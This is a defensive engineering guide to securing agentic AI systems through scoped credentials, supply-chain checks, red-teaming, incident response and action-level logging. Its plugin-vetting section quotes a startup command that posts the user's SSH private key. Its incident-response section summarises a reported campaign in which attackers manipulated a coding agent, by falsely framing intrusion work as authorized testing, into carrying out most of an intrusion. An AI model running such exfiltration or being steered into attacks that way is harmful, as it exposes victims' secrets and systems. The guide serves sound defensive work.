AI and Cybersecurity in Practice: An Advanced Technical Guide

From gate to build list

A companion analysis argues that a model-integrated system has no channel for marking part of its input inert, and that the only defensible boundary is therefore not the prompt but the authority the system is allowed to exercise: least-privilege credentials, deterministic policy on irreversible actions, engineered reversibility, and audit at the level of the individual action. That argument settles what the boundary is. It does not say how to build it, and the gap between the two is where most production deployments actually fail — not because the architecture was misunderstood, but because “scope the credential” and “log the action” are design principles, not configurations.

This article is the build list, worked through in roughly the order a team encounters it: cutting a credential down to exactly the task an agent is performing right now, rather than the account it happens to run under; verifying that a model file or third-party tool is what its publisher actually shipped, and treating a plugin you did not write as unproven until a monitored channel says otherwise; running a red-teaming program against a live deployment on a cadence that keeps up with how often the system changes; what an incident-response playbook has to say that a conventional one does not, because an AI-system incident does not fail the way a conventional one does; and logging at the resolution an investigation will actually need — the individual tool call, not the conversation it sat inside.

None of this replaces the containment architecture described elsewhere. It is the missing arithmetic underneath it, done by an engineer who has to ship something this quarter.

Scoping a credential to the task, not the account

The most common credential-scoping failure in production agent deployments is not a missing control. It is a working credential that is simply too big for the job. A team gives its agent one API key or one service account with read and write access across everything the agent might plausibly ever need to touch, bakes it into an environment variable or a configuration file, and calls the resulting system “least privilege” because the credential is at least not a root account. It is a working system, and it is also a single object whose compromise, misuse, or manipulation through injected content grants an attacker everything the agent could ever do — because the agent’s authority and the credential’s scope are the same thing, and the credential was scoped to the deployment rather than to the request.

OWASP’s current entry on excessive agency in LLM-based systems names this directly as a root cause rather than a side effect: an agent is granted a degree of agency to call functions or interface with other systems, and damage follows when that agency exceeds what any single task requires. Its mitigations are specific rather than aspirational — limit the extensions an agent can call and the functions they implement to the minimum necessary, limit permissions granted to other systems “to the minimum necessary in order to limit the scope of undesirable actions,” avoid open-ended extensions such as raw shell execution in favor of purpose-built alternatives, and require human approval for high-impact actions before they execute ^[4]. The line worth building an architecture around is the one about identity: track user authorization and security scope so actions taken on behalf of a user execute downstream “in the context of that specific user, and with the minimum privileges necessary” ^[4] — a statement about per-request scoping, not per-deployment scoping, and where most implementations fall short of their own stated policy.

The Model Context Protocol’s security specification gives the sharpest treatment of what goes wrong at the scope layer and why it matters beyond the immediate compromise. Poor scope design, it states, “increases token compromise impact, elevates user friction, and obscures audit trails” ^[12]. Its worked failure case is exactly the pattern above: a server exposes every scope it supports, a client requests all of them up front to avoid re-prompting later, and the resulting broad token — leaked through a log, scraped from memory, or intercepted — hands an attacker lateral access and privilege chaining into high-risk tools, with an audit trail so coarse that “a single omnibus scope masks user intent per operation” ^[12]. The prescribed fix is progressive: a minimal scope at session start covering only low-risk discovery and read operations, incremental elevation through an explicit challenge the moment a privileged operation is first attempted, servers accepting a reduced scope gracefully rather than demanding all-or-nothing grants, and every elevation event logged — the scope requested and the subset actually granted — with a correlation identifier tying it back to the specific request ^[12]. This buys an audit trail with intent already attached, which a flat broad token cannot produce no matter how thoroughly its traffic is logged afterward.

Turning that into a build is mechanical once it is stated as a checklist. Enumerate every tool an agent can call. For each one, write down the minimal resource, action, and scope tuple that call actually needs — not the tuple that would make every future feature convenient, the tuple the call in front of you needs today. Put a broker between the agent and its credentials: a token-exchange layer that mints a short-lived, narrowly scoped credential for the specific task at hand and lets it expire with the task, rather than handing the agent one long-lived key it holds for the life of the process. Never place a credential where the model can read it verbatim — not in the system prompt, not in a configuration file the agent’s own tools can open — because a credential the model can read is a credential injected content can exfiltrate. OWASP’s newly published Top 10 for Agentic Applications puts identity and privilege abuse at the top of its own list of risks specific to autonomous systems, which is the industry’s current answer to the question of where agentic deployments are actually failing in practice, not merely where they are theoretically exposed ^[5].

There is a simple way to see why capability removal should be the default move rather than the fallback. Model the expected exposure created by a credential as a sum over the capabilities $c$ it carries, each with some probability $p_c$ that it is exploited in a given period and some damage $d_c$ if it is:

Two of the terms in that sum are hard to know honestly. An estimate of $p_c$ assumes a threat model that has to guess at an adversary’s behaviour, and $d_c$ is only bounded once you have already imagined the worst plausible use of the capability — the same failure of imagination that undermines defense-in-depth probability estimates generally. But there is one operation available to a system designer that requires no estimate at all: revoke the capability, and its term leaves the sum exactly, not approximately. Better monitoring reduces your uncertainty about $p_c$. Removing $c$ removes the need to know it. That is the quantitative case for treating scope reduction as the first move rather than “we will detect misuse if it happens” — detection is a hedge against the terms you decided you could not remove, not a substitute for removing the ones you could.

Two different questions with the word “supply chain” in both of them

“Supply-chain integrity” collapses two problems that need different mechanisms. The first is whether the model file, weights, or package you loaded is the one your publisher actually produced. The second is whether a tool or plugin you did not write should act on your system’s behalf at all, independent of whether it is genuinely what it claims to be. Treating both as one problem — “we vet our vendors” — is how teams end up with neither solved.

Verifying what you downloaded. OWASP’s current supply-chain entry states the baseline problem plainly: published models today carry no strong provenance assurance, and model cards, however informative, “offer no guarantees on the origin of the model” ^[3]. Its compensating control is specific: use models only from verifiable sources, and use third-party integrity checks — signing and file hashes — to compensate for the absence of strong provenance guarantees at the source ^[3]. It further recommends maintaining a signed, up-to-date software bill of materials for the models, datasets, and packages in a deployment, so that when a vulnerability is disclosed in a component you did not build, you can answer “do we have that” in minutes rather than by grepping through infrastructure ^[3].

The general software supply-chain framework this recommendation leans on is SLSA, whose central object is provenance: “the verifiable information about software artifacts describing where, when and how something was produced,” structured to “trace software back to the source and define the moving parts in a complex supply chain” ^[6]. Provenance here is not a claim asserted by the publisher and taken on faith; it is a signed record letting a consumer independently verify that a specific build platform produced a specific artifact from a specific, recorded set of inputs, and — at the framework’s higher levels — that the build process itself was tamper-resistant rather than merely signed after the fact ^[6]. Applied to a model file, the practical version is mechanical: pin an exact hash for every weight file and dependency deployed, verify it independently before load, refuse to load anything unverifiable against a signature obtained through a channel separate from the artifact itself, and treat an unsigned model exactly as an unsigned binary from an unknown source — which is to say, not in production.

Vetting what you didn’t write. A tool or plugin is a different kind of risk because verifying it is authentic does not tell you it is safe — a genuinely-published, correctly-signed plugin can still be poorly written, over-privileged by design, or malicious on the vendor’s part. The Model Context Protocol’s security guidance is unusually concrete here: a locally installed server is a binary running with the user’s own privileges, and without sandboxing and consent it can hide a data-exfiltration or privilege-escalation command inside what looks like a routine startup script — the specification’s own example is a startup command that quietly runs curl -X POST -d @~/.ssh/id_rsa alongside its ordinary installation step ^[12]. Its mitigation is a genuine vetting posture rather than a one-time approval: show the exact command a new local tool will execute, without truncation, before a user consents; warn that the tool runs with the same privileges as the client; and — the part most implementations skip — run it in a sandboxed environment with minimal default privileges and restricted file-system and network access even after approval, so a tool behaving well today cannot silently start behaving differently tomorrow unseen ^[12].

That last point is the operational core of vetting a third-party tool: not a gate passed once but a monitored channel the tool keeps earning its access through. A newly adopted plugin should run for a defined trial period against production-shaped but non-production data, on a fully logged and heavily restricted network path, before it is trusted with a live credential at all. OWASP’s Top 10 for Agentic Applications names the composite failure mode this guards against as agentic supply-chain vulnerability: a poisoned or malicious runtime component reached through the same tool-installation and inter-agent channels that make agent systems useful in the first place ^[5].

Building a red-teaming program for a live deployment

A red-teaming program is a cadence and a scope before it is a set of clever attacks, and the practitioner mistake is treating it as a one-time pre-launch exercise rather than an operating discipline. Microsoft’s guidance on planning red teaming for LLM applications is explicit that the practice is not a substitute for systematic measurement — it exists to uncover the shape of a risk surface so measurement and mitigation know what to target — and it lays out a before-during-after structure worth adopting directly: assemble a deliberately mixed team combining adversarial security expertise, domain expertise relevant to the application, and ordinary users never involved in building it, because each finds different classes of failure; decide explicitly what layer a given round is testing — the base model with its existing safety system, the application specifically, or both before and after a mitigation ships — since testing the wrong layer produces a false sense of coverage; and run an initial round of open-ended, undirected testing before narrowing to a maintained list of known harms, since open-ended testing surfaces blind spots a directed plan cannot find by construction ^[9]. Its recommended cadence has two rhythms either side of one boundary: an initial manual round before any systematic measurement is stood up, and after deployment, “scheduled continuous red teaming runs on synthetic adversarial data” running indefinitely rather than a single pre-launch pass ^[9].

For agentic systems specifically, the Cloud Security Alliance’s Agentic AI Red Teaming Guide extends the scope past the single-turn model evaluation that most red-teaming practice still defaults to. Its framework tests four separate layers — “isolated model behaviors, full agent workflows, inter-agent dependencies, and real-world failure modes” — because a vulnerability that never appears when the model is queried alone can appear only once several tool calls and a memory write have compounded ^[13]. Its named threat categories give a concrete answer to “what do we actually test”: permission escalation, hallucination that triggers a consequential action, orchestration flaws between planning and execution, memory and context manipulation across turns, and supply-chain risk in the exact sense described above ^[13]. On cadence, its position is unambiguous rather than advisory: as agents integrate further into production and critical-infrastructure environments, “proactive red teaming must become a continuous function,” not a phase that ends at launch ^[13]. OWASP’s own Gen AI Red Teaming Guide makes the same point from a different angle, framing its methodology around identifying the threats relevant to your specific use case and applying targeted test categories to them, on the premise that “no AI model is ever truly ‘done’ or ‘secure’” — a explicit rejection of the idea that a red-team report is a certificate rather than a snapshot ^[14].

A practical cadence, synthesizing the above: an initial open-ended manual round before launch covering all four CSA layers; a full structured pass tied to every material change to the agent’s tool surface, permissions, or underlying model — tied to what changed, not to a calendar date; and a continuous, lighter-weight automated pass between structured rounds, catching regressions a manual pass would only find months later. Automated discovery belongs in that continuous layer rather than replacing the structured rounds: Google’s Big Sleep, an LLM-assisted agent built by Project Zero and DeepMind, is documented as the first public example of an AI agent finding a previously unknown, exploitable memory-safety vulnerability in widely used software, and in a later case its owners report they were able to “predict that a vulnerability was imminently going to be used” and interdict it before exploitation ^[11]. That is a genuine new capability for the continuous layer. It is not evidence that automation should replace the structured, human-planned rounds — the reported track record is narrow and specific, not a general substitute for a scoped engagement against your actual deployment.

What an AI-system incident-response playbook has to say that a conventional one does not

A conventional incident-response program can be extended to cover an AI system by mapping the same six functions onto it — NIST’s current guidance for cybersecurity incident response, restructured around the Cybersecurity Framework 2.0, organizes the discipline as Govern, Identify, Protect, Detect, Respond, and Recover, and states its purpose as helping organizations “prepare for incident responses, reduce the number and impact of incidents that occur, and improve the efficiency and effectiveness of their incident detection, response, and recovery activities” ^[2]. Nothing about that structure is wrong for an AI system. What is missing is what each function has to actually contain once the asset in question is an agent rather than a server.

Detect has to reach further than signature matching, because the events worth catching often look, individually, like ordinary authorized use. Anthropic’s account of disrupting what it describes as the first reported AI-orchestrated cyber-espionage campaign at scale is the clearest documented case so far: a state-linked group manipulated an agentic coding tool into believing it was conducting authorized defensive testing, and the tool went on to perform an estimated 80 to 90 percent of the intrusion lifecycle — reconnaissance, exploitation, credential harvesting, lateral movement — against roughly thirty targeted organizations with only sporadic human direction ^[10]. No single tool call in that operation would have looked anomalous to a system built to detect known attack signatures; a coding agent running commands is exactly what a coding agent does. What Anthropic reports catching was a pattern of suspicious activity in mid-September 2025, detected against a baseline of ordinary platform use rather than against any specific malicious command ^[10]. Detection for an agentic system has to include behavioral and usage-pattern monitoring at the platform level, not only content filtering on individual requests.

Preserve and contain have to reach past the network segment. Traditional containment isolates a host; containing an agent means revoking the specific scoped credential that session was issued — exactly why the scoping discipline described earlier is a prerequisite for incident response, not a separate concern from it — and preserving the full record of what the agent’s context contained at each step, since reconstructing what it “believed” it was doing depends on knowing what was in its working context, not only what commands it ultimately issued. Anthropic’s own response sequence after detection was to ban implicated accounts as they were identified, notify the affected organizations, and coordinate with law-enforcement authorities ^[10] — a response shaped by an operation whose victims were mostly not the operator’s own direct customers but third parties reached through the platform, a notification obligation a conventional single-tenant IR plan is not built to anticipate.

Recover and learn benefit from a resource with no equivalent in most traditional IR programs: a standing, cross-organizational catalogue of documented AI failures. The AI Incident Database exists on the premise that “intelligent systems require a repository of problems experienced in the real world so that future researchers and developers may mitigate or avoid repeated bad outcomes,” and is explicitly built for system architects and product developers to review documented failures before writing their own playbooks, not only for researchers studying them after the fact ^[7]. A practitioner drafting a runbook has a genuine head start over one starting from a blank page: cross-reference categories your own threat model has not covered against what the database’s editors have already catalogued, and write a tab for each gap before an incident forces it live.

Two concrete additions belong in an AI-specific runbook that a conventional one omits entirely: a step for freezing and exporting the full context window and tool-call chain the moment an incident is suspected, before further agent action can overwrite it; and a step for revoking not just the credential in use but every credential minted by the same scoping template, in case the compromise pattern generalizes across sessions. Anthropic’s own post-incident recommendation to defenders is to invest specifically in the areas this article covers — Security Operations Center automation, threat detection, vulnerability assessment, and incident response built around AI systems — alongside a parallel obligation on model developers to keep investing in platform-level safeguards against exactly this kind of adversarial misuse ^[10]. Neither half substitutes for the other: platform-level safeguards reduce how often this happens to anyone; an operator’s own IR playbook determines how much damage it does when it happens to you specifically.

Logging at the level of the action

An audit log built around the conversation as its unit of record cannot answer the question an investigation actually asks after an incident, which is which specific action a specific credential took, with what arguments, on what authority, and what was in the agent’s context when it decided to take it. A transcript answers “what did the model say.” It does not answer “what did the system do,” and those are different questions with different consequences.

The Model Context Protocol specification’s discussion of an anti-pattern called token passthrough makes the cost of conflating them concrete. When a server accepts a token from a client without validating it was actually issued to that server and forwards it downstream, the server “will be unable to identify or distinguish between MCP clients,” and the downstream resource server’s own logs will show requests that “appear to come from a different source with a different identity” than the system actually making them — both factors that make “incident investigation, controls, and auditing more difficult” ^[12]. This mirrors the scope-minimization failure mode described earlier, and the same document’s remedy for both is the same principle: log at the resolution of the individual privileged operation, with the scope requested and the subset actually granted attached to a correlation identifier, rather than at the resolution of the session or conversation ^[12]. A log built this way answers “which credential, which action, which arguments, in what context” directly, instead of requiring a separate reconstruction effort against raw traffic afterward.

Building this in practice means treating the tool call, not the chat turn, as the atomic unit written to an append-only, tamper-evident store: the credential used, its full scope at the moment of use, the complete arguments passed, a reference to the retrieved content and prior context present when the decision was made, and the action’s outcome. Google’s Secure AI Framework names the same requirement organizationally, describing one of its core elements as extending detection and response “to bring AI into an organization’s threat universe” rather than treating AI telemetry as a stream a security team never looks at ^[8]. NIST’s AI Risk Management Framework structures the equivalent discipline as its Measure function, the piece concerned with applying metrics to risks Govern and Map have already identified, which only works if the underlying telemetry was granular enough to measure against ^[1]. None of this is exotic engineering — it is closer to enabling detailed transaction logging on a payments system than to building a novel capability, the novelty being to apply the same discipline to a system whose “transactions” are tool calls issued by a model.

Where this is heading

These are forecasts, kept separate from the sourced material above. Horizon: 16 August 2029. Shared assumptions: agentic tool use continues to expand faster than the tooling to govern it; no discontinuous change in transformer architecture removes the underlying data/instruction conflation described in the containment argument this article builds on.

One. Scoped, short-lived, per-task credential issuance for agentic tool calls becomes a standard platform feature rather than something most teams build themselves. Observable indicator: major agent-hosting platforms ship built-in token-exchange brokers with default-deny scope templates. Disconfirmed if the dominant deployment pattern in 2029 is still a single long-lived credential injected into an agent’s environment.

Two. Action-level audit logging for agentic systems becomes a procurement and compliance requirement rather than a best practice adopted unevenly. Observable indicator: procurement checklists begin explicitly requiring per-tool-call audit trails with credential and context provenance attached. Disconfirmed if mainstream compliance frameworks in 2029 still treat conversation-level logging as sufficient for an agentic system.

Three. Continuous, automated red-teaming becomes the norm for the routine layer of a program while structured human-planned engagements remain necessary rather than being displaced. Observable indicator: guidance from major vendors and standards bodies converges on a two-tier model rather than either extreme. Disconfirmed if automated tools are shown to reliably substitute for structured, scenario-based engagements across the threat categories current guidance treats as requiring them.

Four. Documented AI-orchestrated attacks of the kind Anthropic reported in 2025 increase in frequency faster than public incident reporting keeps pace with them, widening the gap that resources like the AI Incident Database are trying to close. Observable indicator: the rate of newly catalogued AI-specific incidents in public databases. Disconfirmed if that rate plateaus while independent threat-intelligence reporting shows continued growth in AI-assisted attack volume.

What to take away

None of the five controls in this article is exotic. Scoped credentials, verified provenance, a scheduled adversarial program, a playbook with the right steps written in advance, and logs built at the resolution an investigation will actually need are all things security engineering already knew how to do before agentic AI existed. What changes is the unit each control has to operate on: not the deployment but the task, not the vendor relationship but the monitored channel, not the calendar but the rate of change, not the network segment but the credential and the context window, not the conversation but the individual action.

Build to that unit and the containment architecture the conceptual argument calls for stops being an aspiration and becomes a configuration — a credential cut for one job, a hash that has to match before anything loads, a card that enters this cycle’s test scope on schedule, a tab already written before the incident that needs it, and a seal that closes over a record before anyone gets to dispute what it says.